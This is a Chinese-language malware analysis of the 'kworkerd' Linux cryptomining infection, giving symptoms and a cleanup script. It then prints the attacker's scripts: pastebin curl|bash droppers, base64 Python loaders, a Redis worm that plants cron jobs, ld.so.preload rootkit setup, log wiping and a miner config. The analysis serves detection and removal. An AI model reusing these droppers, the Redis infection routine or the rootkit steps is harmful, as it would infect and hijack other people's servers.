Kworkerd恶意挖矿分析

Kworkerd恶意挖矿分析

0x01 快速特征排查

TOP显示CPU占用高，但是没有高占用的进程

存在与未知服务器13531端口建立的TCP连接

文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so

存在可疑执行base64编码的python进程

0x02 快速清除

#!/bin/bash
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9

echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/system
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
rm -rf /etc/cron.hourly/oanacron
rm -rf /etc/cron.daily/oanacron
rm -rf /etc/cron.monthly/oanacron

rm -rf /bin/httpdns
sed -i '$d' /etc/crontab

sed -i '$d' /etc/ld.so.preload
rm -rf /usr/local/lib/libntp.so

ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9
rm -rf /tmp/.tmph
rm -rf /bin/kworkerds
rm -rf /tmp/kworkerds
rm -rf /usr/sbin/kworkerds
rm -rf /etc/init.d/kworker
chkconfig --del kworker

0x03 细节行为分析

搜索引擎查找相关问题，也有不少人碰到，比如：

首先，CPU占用率100%，但是top命令查看，无法看到高占用进程，怀疑植入了rootkit。
查看crontab的内容，已经被写入了一个定时任务，每半小时左右会从pastebin上下载脚本并且执行（pastebin是任意上传分享的平台，攻击者借此实现匿名）
https://pastebin.com/raw/xbY7p5Tb
拿到xbY7p5Tb脚本内容如下：

(curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash

脚本中再次下载了另一个脚本，并且对脚本内容进行base64解码后执行:

脚本主要逻辑提取内容如下（省略了一堆调用的函数）：

update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
if [ ${update}x = "update"x ];then
    echocron
else
    if [ ! -f "/tmp/.tmph" ]; then
        rm -rf /tmp/.tmpg
        python
    fi
    kills
    downloadrun
    echocron
    system
    top
    sleep 10
    port=$(netstat -anp | grep :13531 | wc -l)
    if [ ${port} -eq 0 ];then
        downloadrunxm
    fi
    echo 0>/var/spool/mail/root
    echo 0>/var/log/wtmp
    echo 0>/var/log/secure
    echo 0>/var/log/cron
fi
#
#
#

该恶意脚本首先检查更新，如果有更新，执行echocron进行更新操作
https://pastebin.com/raw/TzBeq3AM

接着检查了/tmp/.tmph文件是否存在，如果存在则删除，并且执行python函数
名为Python的函数在脚本中为：

function python() {
    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
    touch /tmp/.tmph

其中执行的python代码经过了base64编码，解码后内容为：

#coding: utf-8
import urllib
import base64

d= 'https://pastebin.com/raw/nYBpuAxT'
try:
    page=base64.b64decode(urllib.urlopen(d).read())
exec(page)
except:
pass

这段python代码又从https://pastebin.com/raw/nYBpuAxT读取了内容，并且进行了执行：

再次base64解码后的最终代码内容如下，是一个针对redis的扫描攻击脚本，用于扩散感染：

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 20
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect((self.host, 6379))
            s.send('set backup1 "


*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh


"rn')
            s.send('set backup2 "


*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh


"rn')
            s.send('config set dir /var/spool/cronrn')
            s.send('config set dbfilename rootrn')
            s.send('savern')
            s.close()
        except Exception as e:
            pass
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

    def newthread(host):
        scanner.lck.acquire()
        sc = scanner(host)
        scanner.tlist.append(sc)
        scanner.lck.release()
        sc.start()

    newthread = staticmethod(newthread)

def get_ip_list():
    try:
        url = 'ident.me'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        req = conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip2 = result.read()
        ips2 = findall(r'd+.d+.', ip2)[0][:-2]
        for u in range(0, 10):
            ip_list1 = (ips2 + (str(u)) +'.')
            for i in range(0, 256):
                ip_list2 = (ip_list1 + (str(i)))
                for g in range(0, 256):
                    IP_LIST.append(ip_list2 + '.' + (str(g)))
    except Exception:
        pass

def runPortscan():
    get_ip_list()
    for host in IP_LIST:
        scanner.lck.acquire()
        if len(scanner.tlist) >= scanner.maxthreads:
            scanner.lck.release()
            scanner.evnt.wait()
        else:
            scanner.lck.release()
        scanner.newthread(host)
    for t in scanner.tlist:
        t.join()

if __name__ == "__main__":
    runPortscan()

上述攻击脚本中，关键代码如下，通过扫描redis的6379端口，如果没有做访问验证，则直接进行远程命令执行进行感染。

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect((self.host, 6379))
            s.send('set backup1 "


*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh


"rn')
            s.send('set backup2 "


*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh


"rn')
            s.send('config set dir /var/spool/cronrn')
            s.send('config set dbfilename rootrn')
            s.send('savern')
            s.close()

主逻辑中的python函数执行完毕，接着执行主要逻辑代码：

if [ ! -f "/tmp/.tmph" ]; then
        rm -rf /tmp/.tmpg
        python
    fi
    kills
    downloadrun
    echocron
    system
    top
    sleep 10
    port=$(netstat -anp | grep :13531 | wc -l)
    if [ ${port} -eq 0 ];then
        downloadrunxm
    fi
    echo 0>/var/spool/mail/root
    echo 0>/var/log/wtmp
    echo 0>/var/log/secure
    echo 0>/var/log/cron

kills函数主要是检查是否有其他挖矿等程序在运行，直接干掉，这里不做重点代码内容展示

downloadrun函数的内容如下，从thyrsi.com中下载了一个伪装为jpg的文件，保存为/tmp下的kworkerds并执行：

function downloadrun() {
    ps=$(netstat -anp | grep :13531 | wc -l)
    if [ ${ps} -eq 0 ];then
        if [ ! -f "/tmp/kworkerds" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
            if [ ! -f "/tmp/kworkerds" ]; then
                wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds
            fi
                nohup /tmp/kworkerds >/dev/null 2>&1 &
        else
            nohup /tmp/kworkerds >/dev/null 2>&1 &
        fi
    fi
}

Kworkerds文件是挖矿本体程序，拿到后扔进virustotal检查结果：

接着执行echocron函数，该函数在各个定时任务文件中写入下载恶意脚本并执行的任务，并且清除相关日志，这样加大了清理的难度:

echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/system
    echo -e "*/23 * * * *    (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * *    (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
    if [ ! -f "/etc/cron.hourly/oanacron" ]; then
        wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
    fi
    mkdir -p /etc/cron.daily
    curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
    if [ ! -f "/etc/cron.daily/oanacron" ]; then
        wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
    fi
    mkdir -p /etc/cron.monthly
    curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
    if [ ! -f "/etc/cron.monthly/oanacron" ]; then
        wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
    fi
    touch -acmr /bin/sh /var/spool/cron/root
    touch -acmr /bin/sh /var/spool/cron/crontabs/root
    touch -acmr /bin/sh /etc/cron.d/system
    touch -acmr /bin/sh /etc/cron.d/root
    touch -acmr /bin/sh /etc/cron.hourly/oanacron
    touch -acmr /bin/sh /etc/cron.daily/oanacron
    touch -acmr /bin/sh /etc/cron.monthly/oanacron

之后执行system和top函数,system函数中下载了一个恶意的脚本文件放置在/bin目录下，并且写入定时任务。

function system() {
    if [ ! -f "/bin/httpdns" ]; then
        curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns
        if [ ! -f "/bin/httpdns" ]; then
            wget  https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns
        fi
        if [ ! -f "/etc/crontab" ]; then
            echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
        else
            sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
        fi
    fi
}

其中httpdns的内容为:

改脚本再次下载了一个脚本进行执行，脚本内容与上面主脚本内容类似（删减了kills system top几个函数；增加了init函数，即下载执行挖矿程序）：

Top函数主要进行了rootkit的行为。
函数将伪装为jpg的恶意链接库文件下载，首先放置在/usr/local/lib目录下，之后替换/etc/ld.so.preload文件，通过预加载劫持linux系统函数，使得top、ps等命令无法找到挖矿进程；

关于preload预加载恶意动态链接相关，可以阅读此文参考：

https://blog.csdn.net/aganlengzi/article/details/21824553

最后通过touch–acmr命令，掩盖刚刚执行的操作（使得文件存取时间和变动时间与/bin/sh的日期一致，避免被怀疑）

function top() {
    mkdir -p /usr/local/lib/
    if [ ! -f "/usr/local/lib/libntp.so" ]; then
        curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
        if [ ! -f "/usr/local/lib/libntp.so" ]; then
            wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
        fi
    fi
    if [ ! -f "/etc/ld.so.preload" ]; then
        echo /usr/local/lib/libntp.so > /etc/ld.so.preload
    else
        sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
    fi
    touch -acmr /bin/sh /etc/ld.so.preload
    touch -acmr /bin/sh /usr/local/lib/libntp.so

执行上述函数后，主脚本sleep10秒，判断是否与13531端口建立了连接，如果没有，则执行downloadrunxm函数（之后可以看到，13531是与连接的矿池端口）。
Downloadrunxm函数中，同样下载了一个伪装的jpg文件，另存为/bin/config.json，又再次下载了kworkerds并且执行：

function downloadrunxm() {
    pm=$(netstat -anp | grep :13531 | wc -l)
    if [ ${pm} -eq 0 ];then
        if [ ! -f "/bin/config.json" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json
            if [ ! -f "/bin/config.json" ]; then
                wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
            fi
        fi
        if [ ! -f "/bin/kworkerds" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
            if [ ! -f "/bin/kworkerds" ]; then
                wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
            fi
                nohup /bin/kworkerds >/dev/null 2>&1 &
        else
            nohup /bin/kworkerds >/dev/null 2>&1 &
        fi
    fi
}

拿到的config.json的内容如下：py

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 0,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 100,
    "pools": [
        {
            "url": "stratum+tcp://xmr.f2pool.com:13531",
            "user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": 1
        }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": null,
    "user-agent": null,
    "watch": false
}

连接的矿池为国内的f2pool.com鱼池：

0x04 样本收集分享

搜集遇到的恶意挖矿repo：
https://github.com/MRdoulestar/whatMiner